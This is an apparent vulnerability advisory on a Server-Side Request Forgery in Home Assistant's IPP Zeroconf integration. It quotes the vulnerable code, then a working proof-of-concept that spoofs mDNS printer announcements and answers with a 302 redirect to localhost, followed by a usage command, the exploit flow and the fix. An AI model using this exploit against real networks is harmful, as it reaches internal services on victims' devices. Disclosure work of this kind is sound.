Home Assistant: mDNS Server-Side Request Forgery

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.

The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:

 1async def async_step_zeroconf(
 2    self, discovery_info: ZeroconfServiceInfo
 3) -> ConfigFlowResult:
 4    host = discovery_info.host
 5    port = discovery_info.port
 6    zctype = discovery_info.type
 7    name = discovery_info.name.replace(f".{zctype}", "")
 8    tls = zctype == "_ipps._tcp.local."
 9    base_path = discovery_info.properties.get("rp", "ipp/print")
10 
11    self.discovery_info.update(
12        {
13            CONF_HOST: host,
14            CONF_PORT: port,
15            CONF_SSL: tls,
16            CONF_VERIFY_SSL: False,
17            CONF_BASE_PATH: f"/{base_path}",
18            CONF_NAME: name,
19            CONF_UUID: unique_id,
20        }
21    )

These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

 1async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
 2    session = async_get_clientsession(hass)
 3    ipp = IPP(
 4        host=data[CONF_HOST],
 5        port=data[CONF_PORT],
 6        base_path=data[CONF_BASE_PATH],
 7        tls=data[CONF_SSL],
 8        verify_ssl=data[CONF_VERIFY_SSL],
 9        session=session,
10    )
11    printer = await ipp.printer()
12    return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

• Attacker machine on the same local network as the Home Assistant Green device
• Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

 1def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
 2    transaction_id = 0x0000  # mDNS always 0
 3    flags = 0x8400           # Standard response, authoritative answer
 4    qdcount = 0
 5    ancount = 4              # 4 answers (service_type, SRV, TXT, A)
 6    nscount = 0
 7    arcount = 0
 8 
 9    SRV = service_name + '.' + service_type
10    header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)
11 
12    def encode_name(name):
13        parts = name.split(".")
14        out = b""
15        for p in parts:
16            out += bytes([len(p)]) + p.encode("utf-8")
17        out += b"\x00"
18        return out
19 
20    answers = b""
21 
22    # PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
23    answers += encode_name(service_type)
24    answers += struct.pack("!HHI", 12, 1, 1)
25    target = encode_name(SRV)
26    answers += struct.pack("!H", len(target)) + target
27 
28    # SRV record
29    answers += encode_name(SRV)
30    answers += struct.pack("!HHI", 33, 1, 120)
31    srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
32    answers += struct.pack("!H", len(srv_data)) + srv_data
33 
34    # TXT record
35    txt_strs = [b"abcd=efgh"]
36    txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
37    answers += encode_name(SRV)
38    answers += struct.pack("!HHI", 16, 1, 120)
39    answers += struct.pack("!H", len(txt_record)) + txt_record
40 
41    # A record: hihiabcdmeomeo.local -> attacker IP
42    answers += encode_name("hihiabcdmeomeo.local")
43    answers += struct.pack("!HHI", 1, 1, 120)
44    ip_bytes = socket.inet_aton(attacker_ip)
45    answers += struct.pack("!H", len(ip_bytes)) + ip_bytes
46 
47    return header + answers
48 
49def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):
50    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
51    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
52    packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)
53    sock.sendto(packet, (has_ip, 5353))

The attacker's HTTP server redirects the incoming IPP request to an internal service:

 1class RedirectHandler(BaseHTTPRequestHandler):
 2    def do_POST(self):
 3        self.send_response(302)
 4        self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
 5        self.end_headers()

Usage

 1python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo

Exploit Flow

1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service
2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000
3. Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server
4. The attacker's server responds with a 302 redirect to http://127.0.0.1:<port>/<path>
5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf

An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.

The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.

Discovered by ZDI (ZDI-CAN-28336)